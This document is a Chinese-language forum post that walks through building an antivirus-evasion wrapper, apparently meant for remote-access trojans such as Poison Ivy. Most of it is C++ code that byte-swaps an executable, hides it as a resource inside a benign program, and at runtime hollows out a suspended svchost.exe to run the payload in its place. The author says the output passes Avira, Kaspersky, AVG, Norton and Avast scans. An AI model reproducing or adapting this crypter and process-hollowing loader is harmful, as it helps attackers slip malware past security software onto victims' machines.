其實這篇帖子說原創有點牽強,畢竟無論是思路還是實現方法都是借鑑大牛公開的內容。前一陣子看了masepu大牛的編程免殺Poison Ivy遠控那篇帖子,搗騰了下,感覺很有意思。於是就想,如果能夠把其他的exe也照着這個思路做一遍,豈不是很好。當然實踐證明我這個想法過於簡單,中途走了不少彎路,不過幸運的是最終達成了目的。雖然方法有些折中,不夠犀利。好,扯了半天這些有的沒的,現在切入正題。
主體思路其實就是給原始的exe外面加上一個“殼”,這個殼複雜把修改過的可執行程序加載進內存,並將其內容修改正常,變爲正確的可執行程序,然後再搞一個傀儡的進程,把我們的可執行程序替換進去,進而執行。接下來,我們配合代碼詳細的解釋。首先說一下修改原始的exe文件:
一般的CreateProcess是從文件啓動
代碼:
BOOL Deformation(CString strRstFile,CString strDstFile)
{
CFile file;
BYTE *rstdata;
DWORD dwLen;
HANDLE hUpdateRes;
BOOL result;
LPBYTE p;
//把要當成資源的文件讀入內存
file.Open(strRstFile, CFile::modeRead);
dwLen=file.GetLength();
rstdata=new BYTE[dwLen];
file.ReadHuge(rstdata, dwLen);
file.Close();
// 爲數據分配空間
p = (LPBYTE)GlobalAlloc(GPTR, dwLen);
if (p == NULL)
{
MessageBox("分配內存失敗!", "錯誤", MB_OK|MB_ICONINFORMATION);
return 0;
}
// 複製資源數據
CopyMemory((LPVOID)p, (LPCVOID)rstdata, dwLen);
//這裏我把前後兩位的值顛倒,使其可以通過殺軟的查殺
for (DWORD i=0; i<dwLen; i++)
{
if (i%2 ==0)
{
CopyMemory((LPVOID)(p + i), (LPCVOID)(rstdata + i + 1), 1);
CopyMemory((LPVOID)(p + i + 1), (LPCVOID)(rstdata + i), 1);
}
i++;
}
//將資源寫入目標exe文件
hUpdateRes=BeginUpdateResource(strDstFile, FALSE);
result=UpdateResource(hUpdateRes, _T("PI"), MAKEINTRESOURCE(1001), MAKELANGID(LANG_NEUTRAL, SUBLANG_SYS_DEFAULT), (LPVOID)p, dwLen);
result=EndUpdateResource(hUpdateRes, FALSE); //必須是FALSE,否則不更新
return result;
}
這樣,就把修改過的可執行程序以資源的形式添加到另外一個正常的可執行程序中。接下來,要做的就是將修改過的可執行程序讀入內存,並恢復原狀,然後加以運行。繼續拿代碼說話:
代碼:
bool OnBuild()
{
// TODO: Add your control notification handler code here
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize;
LPBYTE p;
LPBYTE q;
// 查找所需的資源
hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_PI1), "pi");
if (hResInfo == NULL)
{
MessageBox("查找資源失敗!", "錯誤", MB_OK|MB_ICONINFORMATION);
return 0;
}
// 獲得資源尺寸
dwSize = SizeofResource(NULL, hResInfo);
// 裝載資源
hResData = LoadResource(NULL, hResInfo);
if (hResData == NULL)
{
MessageBox("裝載資源失敗!", "錯誤", MB_OK|MB_ICONINFORMATION);
return 0;
}
// 爲數據分配空間
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL)
{
MessageBox("p分配內存失敗!", "錯誤", MB_OK|MB_ICONINFORMATION);
return 0;
}
q = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (q == NULL)
{
MessageBox("q分配內存失敗!", "錯誤", MB_OK|MB_ICONINFORMATION);
return 0;
}
// 複製資源數據
::CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
::CopyMemory((LPVOID)q, (LPCVOID)LockResource(hResData), dwSize);
// 這裏把可執行程序修復正確
for (DWORD i=0; i<dwSize; i++)
{
if (i%2 ==0)
{
::CopyMemory((LPVOID)(p + i), (LPVOID)(q + i + 1), 1);
::CopyMemory((LPVOID)(p + i + 1), (LPVOID)(q + i), 1);
}
i++;
}
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT context;
PVOID ImageBase;
unsigned long BaseAddr;
unsigned long retByte = 0;
LONG offset;
HMODULE hNtDll=GetModuleHandle("ntdll.dll");
if(!hNtDll)
return FALSE;
ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
::CopyMemory((void *)&DosHeader,p,sizeof(IMAGE_DOS_HEADER));
::CopyMemory((void *)&NtHeader,&p[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
//以掛起方式創建進程
BOOL res = CreateProcess(NULL,"C://windows//system32//svchost.exe",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
if (res)
{
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread,&context)) //如果調用失敗
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
if (!BaseAddr)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//拆卸傀儡進程內存模塊
if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ImageBase = VirtualAllocEx(pi.hProcess,
(void *)NtHeader.OptionalHeader.ImageBase,
NtHeader.OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000
if (ImageBase == NULL)
{
DWORD wrongFlag = GetLastError();
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//替換傀儡進程內存數據
if(!WriteProcessMemory(pi.hProcess, ImageBase, p, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
{
DWORD wrongFlag2 = GetLastError();
}
//DOS 頭 + PE 頭 + 區塊表的總大小
//定位到區塊頭
offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
IMAGE_SECTION_HEADER secHeader;
WORD i = 0;
for (;i < NtHeader.FileHeader.NumberOfSections;i++)
{
//定位到各個區塊
::CopyMemory((void *)&secHeader, &p[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&p[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
}
context.ContextFlags = CONTEXT_FULL;
//重置 執行文件入口
WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8),
&ImageBase, //4194304
4, &retByte);
context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&context);
ResumeThread(pi.hThread);
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
GlobalFree((HGLOBAL)p);
return 0;
}
至此,運行生成好的可執行程序,一切正常。簡單測試了下,能順利通過小紅傘、卡巴斯基、AVG、諾頓、AVAST等殺軟的查殺。本文旨在探討免殺方法,技術比較簡單,還望大家多多指教